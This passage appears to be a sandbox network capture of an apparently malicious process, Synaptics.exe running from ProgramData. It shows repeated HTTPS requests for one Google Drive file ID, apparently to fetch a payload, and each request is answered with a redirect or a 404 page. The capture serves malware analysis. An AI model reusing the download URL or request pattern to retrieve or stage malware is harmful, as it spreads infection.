Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.7	56146	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:26 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:26 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4ZenrjciHbcC4X4KRz_DGNNvOCtdyG6rik0eZ5zFQyt-1kQcMamXwidLdH8fHSmIr4Ft0dVck Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:26 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-3pfVp_l6sIxszxpHddhHzg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:11:26 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:11:26 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 57 52 64 53 45 36 64 79 55 58 70 6c 55 69 38 48 35 48 39 79 58 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="WRdSE6dyUXplUi8H5H9yXw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:11:26 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.7	56145	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:26 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:26 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:26 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-inPT14_Ly32eldjDp2P6Pg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.7	56147	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:26 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:27 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6f9f7YPLv1G2md-PzDBhLnXXYpoQwDipI8W9BrKntvovKmlaFtiRXn-B0C-6EpBQtOu25T_gU Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:26 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-INN3a3aRciyjU-FmbcCQMg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:11:27 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:11:27 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 38 79 2d 5f 4d 73 45 78 4f 50 59 55 53 48 4e 57 6e 4f 34 38 4b 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="8y-_MsExOPYUSHNWnO48Kg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:11:27 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.7	56148	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:27 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.7	56149	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:27 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.7	56150	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:27 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.7	56151	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:27 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:28 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC64iuw1G3wCbV55dc-HJjb_LS9oLUN7K3lvCBze61nbRc3kFefAx-uv2P7i5P4h6Rl5 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:28 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-aGtLQfJJqneLIIZUNmsiPw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:11:28 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:11:28 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 46 44 6c 6a 68 77 5f 73 6a 6b 67 47 53 72 2d 5a 39 53 64 68 51 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="FDljhw_sjkgGSr-Z9SdhQw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:11:28 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.7	56154	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:28 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:28 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:28 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-ggURLMiuYG_cacMF0WgsOw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.7	56153	142.250.74.206	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:28 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:29 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:28 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-q9UEO5RQ3dZmgzGrSNbuGA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.7	56158	142.250.185.193	443	5600	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:11:29 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
2025-01-02 19:11:29 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7ct_d0VZ9BilXRBVnaKr2_XASL8NHMSKuMLlQ4Mq1pBZltq-gBbLeZIosUqcavRki_dtGPlYE Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:11:29 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-nlG-y7Duaxk56dB0Q7z1VQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:11:29 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:11:29 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6d 5f 32 74 6b 52 69 63 37 71 67 6f 72 79 49 38 42 58 54 53 39 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 